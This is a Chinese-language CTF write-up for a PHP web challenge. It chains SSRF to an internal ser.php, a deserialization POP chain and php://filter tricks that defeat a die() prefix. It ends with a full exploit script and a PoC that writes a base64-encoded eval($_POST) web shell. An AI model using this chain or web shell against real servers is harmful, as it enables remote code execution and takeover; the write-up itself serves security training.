访问首页没有任何东西
查看robots.txt,获得路径/star1.php
访问/star1.php,查看网页源码获得hint,从不安全的协议(HTTP),我家(127.0.0.1)推测需通过ssrf访问ser.php
源码分析:
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
从源码可看出考点为php反序列化加死亡绕过。但是并未发现反序列上传利用的点。使用arjun扫描可能存在的注入点。
发现还存在一个注入点c,尝试输入一下反序列化
附上师傅们发的c参数逻辑
$c=$_GET['c'];
if(isset($c)){
echo $x = unserialize($c); //echo 的时候会触发 __toString() 魔术方法
}
else{
echo "your hat is too black!";
}
目的通过file_put_contents(a);写入🐎
pop链:
GWHT的__toString()->Yongen的hasaki()
从源码中并未发现__toString()的利用点,但pop链必须用到该方法,猜测后端存在利用点。
死亡绕过方法:
使用php://filter协议有两种途径可绕过。
1.使用string.strip_tags字符串过滤器:去除html、PHP语言标签。
我们的目的是写入一个webshell,而写入的webshell也有PHP语言标签,如果使用strip_tags同样会被去除。php://filter允许使用多个过滤器,于是我们添加 convert.base64-decode 将webshell base64编码输入,convert.base64-decode会将我们的输入解码写如文件,而<?php die("nononon");?被string.strip_tags处理失效。
$test->hero->file='php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';
//<?php @eval($_POST['cmd']);?>
$test->hero->text='PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=';
2.使用convert.base64-decode过滤器将解码输入。base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。中可识别字符串为phpdienononon(11个字符)base64解码时每4byte一组进行,需补3字符,此处补了aaa。
$test->hero->file='php://filter/write=convert.base64-decode/resource=shell.php';
$test->hero->text='aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=';
exp:
<?php
class GWHT{
public $hero;
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
$test = new GWHT();
$test->hero = new Yongen();
//string.strip_tags过滤器:过滤html,和php标签
//$test->hero->file='php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';
//$test->hero->text='PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=';
//convert.base64-decode过滤器:将输入b64解密后传文件 '<?php die("nononon");?'; 被b64解密后只省下[a-z0-9A-Z+] 及phpdienonon 11个字符,
//b64解密 4个byte(字节)一组 所以需要添加3个aaa
//b64解密相对于如下代码
//$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
//base64_decode($_GET['txt']);
$test->hero->file='php://filter/write=convert.base64-decode/resource=shell.php';
$test->hero->text='aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=';
var_dump(serialize($test));
poc:
path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:4:"text";s:43:"aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=";}}